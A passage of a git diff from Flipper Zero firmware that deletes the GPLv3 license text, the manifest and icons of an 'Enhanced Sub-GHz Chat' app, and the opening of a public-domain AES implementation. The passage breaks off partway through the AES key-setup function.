-for making modifications to it. "Object code" means any non-source
-form of a work.
-
- A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
- The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form. A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
- The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities. However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work. For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
- The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
- The Corresponding Source for a work in source code form is that
-same work.
-
- 2. Basic Permissions.
-
- All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met. This License explicitly affirms your unlimited
-permission to run the unmodified Program. The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work. This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
- You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force. You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright. Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
- Conveying under any other circumstances is permitted solely under
-the conditions stated below. Sublicensing is not allowed; section 10
-makes it unnecessary.
-
- 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
- No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
- When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
- 4. Conveying Verbatim Copies.
-
- You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
- You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
- 5. Conveying Modified Source Versions.
-
- You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
- a) The work must carry prominent notices stating that you modified
- it, and giving a relevant date.
-
- b) The work must carry prominent notices stating that it is
- released under this License and any conditions added under section
- 7. This requirement modifies the requirement in section 4 to
- "keep intact all notices".
-
- c) You must license the entire work, as a whole, under this
- License to anyone who comes into possession of a copy. This
- License will therefore apply, along with any applicable section 7
- additional terms, to the whole of the work, and all its parts,
- regardless of how they are packaged. This License gives no
- permission to license the work in any other way, but it does not
- invalidate such permission if you have separately received it.
-
- d) If the work has interactive user interfaces, each must display
- Appropriate Legal Notices; however, if the Program has interactive
- interfaces that do not display Appropriate Legal Notices, your
- work need not make them do so.
-
- A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit. Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
- 6. Conveying Non-Source Forms.
-
- You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
- a) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by the
- Corresponding Source fixed on a durable physical medium
- customarily used for software interchange.
-
- b) Convey the object code in, or embodied in, a physical product
- (including a physical distribution medium), accompanied by a
- written offer, valid for at least three years and valid for as
- long as you offer spare parts or customer support for that product
- model, to give anyone who possesses the object code either (1) a
- copy of the Corresponding Source for all the software in the
- product that is covered by this License, on a durable physical
- medium customarily used for software interchange, for a price no
- more than your reasonable cost of physically performing this
- conveying of source, or (2) access to copy the
- Corresponding Source from a network server at no charge.
-
- c) Convey individual copies of the object code with a copy of the
- written offer to provide the Corresponding Source. This
- alternative is allowed only occasionally and noncommercially, and
- only if you received the object code with such an offer, in accord
- with subsection 6b.
-
- d) Convey the object code by offering access from a designated
- place (gratis or for a charge), and offer equivalent access to the
- Corresponding Source in the same way through the same place at no
- further charge. You need not require recipients to copy the
- Corresponding Source along with the object code. If the place to
- copy the object code is a network server, the Corresponding Source
- may be on a different server (operated by you or a third party)
- that supports equivalent copying facilities, provided you maintain
- clear directions next to the object code saying where to find the
- Corresponding Source. Regardless of what server hosts the
- Corresponding Source, you remain obligated to ensure that it is
- available for as long as needed to satisfy these requirements.
-
- e) Convey the object code using peer-to-peer transmission, provided
- you inform other peers where the object code and Corresponding
- Source of the work are being offered to the general public at no
- charge under subsection 6d.
-
- A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
- A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling. In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage. For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product. A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
- "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source. The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
- If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information. But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
- The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed. Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
- Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
- 7. Additional Terms.
-
- "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law. If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
- When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it. (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.) You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
- Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
- a) Disclaiming warranty or limiting liability differently from the
- terms of sections 15 and 16 of this License; or
-
- b) Requiring preservation of specified reasonable legal notices or
- author attributions in that material or in the Appropriate Legal
- Notices displayed by works containing it; or
-
- c) Prohibiting misrepresentation of the origin of that material, or
- requiring that modified versions of such material be marked in
- reasonable ways as different from the original version; or
-
- d) Limiting the use for publicity purposes of names of licensors or
- authors of the material; or
-
- e) Declining to grant rights under trademark law for use of some
- trade names, trademarks, or service marks; or
-
- f) Requiring indemnification of licensors and authors of that
- material by anyone who conveys the material (or modified versions of
- it) with contractual assumptions of liability to the recipient, for
- any liability that these contractual assumptions directly impose on
- those licensors and authors.
-
- All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10. If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term. If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
- If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
- Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
- 8. Termination.
-
- You may not propagate or modify a covered work except as expressly
-provided under this License. Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
- However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
- Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
- Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License. If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
- 9. Acceptance Not Required for Having Copies.
-
- You are not required to accept this License in order to receive or
-run a copy of the Program. Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance. However,
-nothing other than this License grants you permission to propagate or
-modify any covered work. These actions infringe copyright if you do
-not accept this License. Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
- 10. Automatic Licensing of Downstream Recipients.
-
- Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License. You are not responsible
-for enforcing compliance by third parties with this License.
-
- An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations. If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
- You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License. For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
- 11. Patents.
-
- A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The
-work thus licensed is called the contributor's "contributor version".
-
- A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version. For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
- Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
- In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement). To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
- If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients. "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
- If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
- A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License. You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
- Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
- 12. No Surrender of Others' Freedom.
-
- If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License. If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all. For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
- 13. Use with the GNU Affero General Public License.
-
- Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work. The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
- 14. Revised Versions of this License.
-
- The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time. Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
- Each version is given a distinguishing version number. If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation. If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
- If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
- Later license versions may give you additional or different
-permissions. However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
- 15. Disclaimer of Warranty.
-
- THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
- 16. Limitation of Liability.
-
- IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
-
- 17. Interpretation of Sections 15 and 16.
-
- If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
- END OF TERMS AND CONDITIONS
-
- How to Apply These Terms to Your New Programs
-
- If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
- To do so, attach the following notices to the program. It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
- If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License. Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
-
- You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-.
-
- The GNU General Public License does not permit incorporating your program
-into proprietary programs. If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library. If this is what you want to do, use the GNU Lesser General
-Public License instead of this License. But first, please read
-.
diff --git a/applications/external/esubghz_chat/application.fam b/applications/external/esubghz_chat/application.fam
deleted file mode 100644
index 70b8c6c70..000000000
--- a/applications/external/esubghz_chat/application.fam
+++ /dev/null
@@ -1,15 +0,0 @@
-App(
- appid="esubghz_chat",
- name="Enhanced Sub-Ghz Chat",
- apptype=FlipperAppType.EXTERNAL,
- entry_point="esubghz_chat",
- requires=[
- "gui",
- "subghz",
- ],
- stack_size=8 * 1024,
- fap_category="Sub-GHz",
- fap_icon="assets/chat_10px.png",
- fap_icon_assets="assets",
- fap_icon_assets_symbol="esubghz_chat",
-)
diff --git a/applications/external/esubghz_chat/assets/Loading_24.png b/applications/external/esubghz_chat/assets/Loading_24.png
deleted file mode 100644
index 93a59fe68..000000000
Binary files a/applications/external/esubghz_chat/assets/Loading_24.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/assets/Nfc_14px.png b/applications/external/esubghz_chat/assets/Nfc_14px.png
deleted file mode 100644
index 9e43a3291..000000000
Binary files a/applications/external/esubghz_chat/assets/Nfc_14px.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/assets/chat_10px.png b/applications/external/esubghz_chat/assets/chat_10px.png
deleted file mode 100644
index 9ee8343c1..000000000
Binary files a/applications/external/esubghz_chat/assets/chat_10px.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/assets/chat_14px.png b/applications/external/esubghz_chat/assets/chat_14px.png
deleted file mode 100644
index f949d0a79..000000000
Binary files a/applications/external/esubghz_chat/assets/chat_14px.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/assets/hex_14px.png b/applications/external/esubghz_chat/assets/hex_14px.png
deleted file mode 100644
index b2af9e204..000000000
Binary files a/applications/external/esubghz_chat/assets/hex_14px.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/assets/keyboard_14px.png b/applications/external/esubghz_chat/assets/keyboard_14px.png
deleted file mode 100644
index b84309c5a..000000000
Binary files a/applications/external/esubghz_chat/assets/keyboard_14px.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/assets/u2f_14px.png b/applications/external/esubghz_chat/assets/u2f_14px.png
deleted file mode 100644
index d65bacea9..000000000
Binary files a/applications/external/esubghz_chat/assets/u2f_14px.png and /dev/null differ
diff --git a/applications/external/esubghz_chat/crypto/aes.c b/applications/external/esubghz_chat/crypto/aes.c
deleted file mode 100644
index b2fe5fced..000000000
--- a/applications/external/esubghz_chat/crypto/aes.c
+++ /dev/null
@@ -1,440 +0,0 @@
-/******************************************************************************
-*
-* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
-*
-* This is a simple and straightforward implementation of the AES Rijndael
-* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
-* of this work was correctness & accuracy. It is written in 'C' without any
-* particular focus upon optimization or speed. It should be endian (memory
-* byte order) neutral since the few places that care are handled explicitly.
-*
-* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
-*
-* It is intended for general purpose use, but was written in support of GRC's
-* reference implementation of the SQRL (Secure Quick Reliable Login) client.
-*
-* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
-*
-* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
-* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
-*
-*******************************************************************************/
-
-#include "aes.h"
-
-static int aes_tables_inited = 0; // run-once flag for performing key
- // expasion table generation (see below)
-/*
- * The following static local tables must be filled-in before the first use of
- * the GCM or AES ciphers. They are used for the AES key expansion/scheduling
- * and once built are read-only and thread safe. The "gcm_initialize" function
- * must be called once during system initialization to populate these arrays
- * for subsequent use by the AES key scheduler. If they have not been built
- * before attempted use, an error will be returned to the caller.
- *
- * NOTE: GCM Encryption/Decryption does NOT REQUIRE AES decryption. Since
- * GCM uses AES in counter-mode, where the AES cipher output is XORed with
- * the GCM input, we ONLY NEED AES encryption. Thus, to save space AES
- * decryption is typically disabled by setting AES_DECRYPTION to 0 in aes.h.
- */
-// We always need our forward tables
-static uchar FSb[256]; // Forward substitution box (FSb)
-static uint32_t FT0[256]; // Forward key schedule assembly tables
-static uint32_t FT1[256];
-static uint32_t FT2[256];
-static uint32_t FT3[256];
-
-#if AES_DECRYPTION // We ONLY need reverse for decryption
-static uchar RSb[256]; // Reverse substitution box (RSb)
-static uint32_t RT0[256]; // Reverse key schedule assembly tables
-static uint32_t RT1[256];
-static uint32_t RT2[256];
-static uint32_t RT3[256];
-#endif /* AES_DECRYPTION */
-
-static uint32_t RCON[10]; // AES round constants
-
-/*
- * Platform Endianness Neutralizing Load and Store Macro definitions
- * AES wants platform-neutral Little Endian (LE) byte ordering
- */
-#define GET_UINT32_LE(n, b, i) \
- { \
- (n) = ((uint32_t)(b)[(i)]) | ((uint32_t)(b)[(i) + 1] << 8) | \
- ((uint32_t)(b)[(i) + 2] << 16) | ((uint32_t)(b)[(i) + 3] << 24); \
- }
-
-#define PUT_UINT32_LE(n, b, i) \
- { \
- (b)[(i)] = (uchar)((n)); \
- (b)[(i) + 1] = (uchar)((n) >> 8); \
- (b)[(i) + 2] = (uchar)((n) >> 16); \
- (b)[(i) + 3] = (uchar)((n) >> 24); \
- }
-
-/*
- * AES forward and reverse encryption round processing macros
- */
-#define AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
- { \
- X0 = *RK++ ^ FT0[(Y0)&0xFF] ^ FT1[(Y1 >> 8) & 0xFF] ^ FT2[(Y2 >> 16) & 0xFF] ^ \
- FT3[(Y3 >> 24) & 0xFF]; \
- \
- X1 = *RK++ ^ FT0[(Y1)&0xFF] ^ FT1[(Y2 >> 8) & 0xFF] ^ FT2[(Y3 >> 16) & 0xFF] ^ \
- FT3[(Y0 >> 24) & 0xFF]; \
- \
- X2 = *RK++ ^ FT0[(Y2)&0xFF] ^ FT1[(Y3 >> 8) & 0xFF] ^ FT2[(Y0 >> 16) & 0xFF] ^ \
- FT3[(Y1 >> 24) & 0xFF]; \
- \
- X3 = *RK++ ^ FT0[(Y3)&0xFF] ^ FT1[(Y0 >> 8) & 0xFF] ^ FT2[(Y1 >> 16) & 0xFF] ^ \
- FT3[(Y2 >> 24) & 0xFF]; \
- }
-
-#define AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
- { \
- X0 = *RK++ ^ RT0[(Y0)&0xFF] ^ RT1[(Y3 >> 8) & 0xFF] ^ RT2[(Y2 >> 16) & 0xFF] ^ \
- RT3[(Y1 >> 24) & 0xFF]; \
- \
- X1 = *RK++ ^ RT0[(Y1)&0xFF] ^ RT1[(Y0 >> 8) & 0xFF] ^ RT2[(Y3 >> 16) & 0xFF] ^ \
- RT3[(Y2 >> 24) & 0xFF]; \
- \
- X2 = *RK++ ^ RT0[(Y2)&0xFF] ^ RT1[(Y1 >> 8) & 0xFF] ^ RT2[(Y0 >> 16) & 0xFF] ^ \
- RT3[(Y3 >> 24) & 0xFF]; \
- \
- X3 = *RK++ ^ RT0[(Y3)&0xFF] ^ RT1[(Y2 >> 8) & 0xFF] ^ RT2[(Y1 >> 16) & 0xFF] ^ \
- RT3[(Y0 >> 24) & 0xFF]; \
- }
-
-/*
- * These macros improve the readability of the key
- * generation initialization code by collapsing
- * repetitive common operations into logical pieces.
- */
-#define ROTL8(x) ((x << 8) & 0xFFFFFFFF) | (x >> 24)
-#define XTIME(x) ((x << 1) ^ ((x & 0x80) ? 0x1B : 0x00))
-#define MUL(x, y) ((x && y) ? pow[(log[x] + log[y]) % 255] : 0)
-#define MIX(x, y) \
- { \
- y = ((y << 1) | (y >> 7)) & 0xFF; \
- x ^= y; \
- }
-#define CPY128 \
- { \
- *RK++ = *SK++; \
- *RK++ = *SK++; \
- *RK++ = *SK++; \
- *RK++ = *SK++; \
- }
-
-/******************************************************************************
- *
- * AES_INIT_KEYGEN_TABLES
- *
- * Fills the AES key expansion tables allocated above with their static
- * data. This is not "per key" data, but static system-wide read-only
- * table data. THIS FUNCTION IS NOT THREAD SAFE. It must be called once
- * at system initialization to setup the tables for all subsequent use.
- *
- ******************************************************************************/
-void aes_init_keygen_tables(void) {
- int i, x, y, z; // general purpose iteration and computation locals
- int pow[256];
- int log[256];
-
- if(aes_tables_inited) return;
-
- // fill the 'pow' and 'log' tables over GF(2^8)
- for(i = 0, x = 1; i < 256; i++) {
- pow[i] = x;
- log[x] = i;
- x = (x ^ XTIME(x)) & 0xFF;
- }
- // compute the round constants
- for(i = 0, x = 1; i < 10; i++) {
- RCON[i] = (uint32_t)x;
- x = XTIME(x) & 0xFF;
- }
- // fill the forward and reverse substitution boxes
- FSb[0x00] = 0x63;
-#if AES_DECRYPTION // whether AES decryption is supported
- RSb[0x63] = 0x00;
-#endif /* AES_DECRYPTION */
-
- for(i = 1; i < 256; i++) {
- x = y = pow[255 - log[i]];
- MIX(x, y);
- MIX(x, y);
- MIX(x, y);
- MIX(x, y);
- FSb[i] = (uchar)(x ^= 0x63);
-#if AES_DECRYPTION // whether AES decryption is supported
- RSb[x] = (uchar)i;
-#endif /* AES_DECRYPTION */
- }
- // generate the forward and reverse key expansion tables
- for(i = 0; i < 256; i++) {
- x = FSb[i];
- y = XTIME(x) & 0xFF;
- z = (y ^ x) & 0xFF;
-
- FT0[i] = ((uint32_t)y) ^ ((uint32_t)x << 8) ^ ((uint32_t)x << 16) ^ ((uint32_t)z << 24);
-
- FT1[i] = ROTL8(FT0[i]);
- FT2[i] = ROTL8(FT1[i]);
- FT3[i] = ROTL8(FT2[i]);
-
-#if AES_DECRYPTION // whether AES decryption is supported
- x = RSb[i];
-
- RT0[i] = ((uint32_t)MUL(0x0E, x)) ^ ((uint32_t)MUL(0x09, x) << 8) ^
- ((uint32_t)MUL(0x0D, x) << 16) ^ ((uint32_t)MUL(0x0B, x) << 24);
-
- RT1[i] = ROTL8(RT0[i]);
- RT2[i] = ROTL8(RT1[i]);
- RT3[i] = ROTL8(RT2[i]);
-#endif /* AES_DECRYPTION */
- }
- aes_tables_inited = 1; // flag that the tables have been generated
-} // to permit subsequent use of the AES cipher
-
-/******************************************************************************
- *
- * AES_SET_ENCRYPTION_KEY
- *
- * This is called by 'aes_setkey' when we're establishing a key for
- * subsequent encryption. We give it a pointer to the encryption
- * context, a pointer to the key, and the key's length in bytes.
- * Valid lengths are: 16, 24 or 32 bytes (128, 192, 256 bits).
- *
- ******************************************************************************/
-int aes_set_encryption_key(aes_context* ctx, const uchar* key, uint keysize) {
- uint i; // general purpose iteration local
- uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
-
- for(i = 0; i < (keysize >> 2); i++) {
- GET_UINT32_LE(RK[i], key, i << 2);
- }
-
- switch(ctx->rounds) {
- case 10:
- for(i = 0; i < 10; i++, RK += 4) {
